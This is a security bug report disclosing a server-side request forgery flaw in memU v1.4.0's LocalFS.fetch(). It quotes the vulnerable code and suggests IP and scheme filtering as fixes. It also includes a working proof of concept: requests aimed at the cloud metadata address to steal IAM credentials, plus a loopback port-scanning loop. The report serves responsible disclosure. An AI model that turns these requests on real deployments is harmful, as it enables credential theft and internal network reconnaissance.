[BUG] [SECURITY] SSRF read via `resource_url` in `LocalFS.fetch()`

[aliceQWAS]

Description

LocalFS.fetch() in src/memu/blob/local_fs.py makes unrestricted HTTP GET requests to any URL supplied through the resource_url parameter. When the URL does not match an existing local file path, the method passes it directly to httpx.AsyncClient.get() with no validation on the target hostname, IP range, port, or protocol scheme.

The vulnerable code at src/memu/blob/local_fs.py:69-80:

# HTTP — no URL validation
filename = self._get_filename_from_url(url, modality)
dst = self.base / filename

async with httpx.AsyncClient(timeout=60) as client:
    r = await client.get(url)       # url is attacker-controlled, no restrictions
    r.raise_for_status()
    dst.write_bytes(r.content)
text = None
if modality in ("conversation", "text", "document"):
    text = r.text
return str(dst), text

An attacker who can call the memorize() API can force the server to issue requests to:

• Cloud metadata services (http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials
• Internal network services (http://10.x.x.x:PORT/) to exfiltrate data or enumerate hosts
• Localhost services (http://127.0.0.1:5432/, http://127.0.0.1:6379/) for port scanning and service probing

The fetched response is stored in the blob directory and returned as text content, which the attacker can then retrieve via list_memory_items() or retrieve().

This endpoint is reachable through:

• The memorize() library API
• The memU-server HTTP endpoint POST /api/v3/memory/memorize
• The LangGraph save_memory tool integration

Environment

Ubuntu 22.04 (Docker), also reproduced on macOS 15.4

Steps to reproduce

1. Install memU v1.4.0:

   pip install memu-py==1.4.0

2. Start a listener simulating an internal metadata service:

   python3 -c "
   from http.server import HTTPServer, BaseHTTPRequestHandler
   import json
   
   class H(BaseHTTPRequestHandler):
       def do_GET(self):
           self.send_response(200)
           self.send_header('Content-Type', 'application/json')
           self.end_headers()
           self.wfile.write(json.dumps({
               'ssrf_confirmed': True,
               'path': self.path,
               'secret_token': 'AKIAIOSFODNN7EXAMPLE'
           }).encode())
   
   HTTPServer(('127.0.0.1', 18111), H).serve_forever()
   " &

3. Run the SSRF proof of concept:

   import asyncio
   import tempfile
   from memu.blob.local_fs import LocalFS
   
   async def poc():
       fs = LocalFS(tempfile.mkdtemp())
   
       # SSRF to simulated internal metadata service
       _, text = await fs.fetch(
           "http://127.0.0.1:18111/latest/meta-data/iam/security-credentials/",
           "document"
       )
       print(text)
       # Output: {"ssrf_confirmed": true, "secret_token": "AKIAIOSFODNN7EXAMPLE", ...}
   
       # Port scanning: closed ports raise ConnectError, open ports return data
       for port in [5432, 6379, 8080]:
           try:
               await fs.fetch(f"http://127.0.0.1:{port}/", "document")
               print(f"Port {port}: OPEN")
           except Exception:
               print(f"Port {port}: closed/refused")
   
   asyncio.run(poc())

4. Observe that the internal service response (including secret_token) is fetched and returned. In a cloud deployment, replacing the URL with http://169.254.169.254/latest/meta-data/iam/security-credentials/ would leak IAM credentials.

5. The same attack works through the public memorize() API:

   from memu import Memu
   
   client = Memu(...)
   await client.memorize(
       resource_url="http://169.254.169.254/latest/meta-data/",
       modality="document"
   )
   # Stolen data is now stored in memory and retrievable
   results = await client.list_memory_items()

Expected behavior

LocalFS.fetch() should validate URLs before making HTTP requests:

• Block private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
• Block loopback addresses (127.0.0.0/8, ::1)
• Block link-local addresses (169.254.0.0/16, fe80::/10)
• Block CGNAT range (100.64.0.0/10)
• Restrict protocols to http and https
• Resolve hostnames and validate the resolved IP before connecting
• Limit redirect following to prevent DNS rebinding

Version

memU v1.4.0 (commit 163d050, memu-py PyPI package)

Severity

Critical

Additional Information

The SSRF requires no authentication and no user interaction. A single API call can reach cloud metadata services and exfiltrate IAM credentials, which typically grant broad access to the victim's cloud infrastructure. Internal network scanning and data exfiltration from internal services are also possible. The only precondition is the ability to call the memorize() API.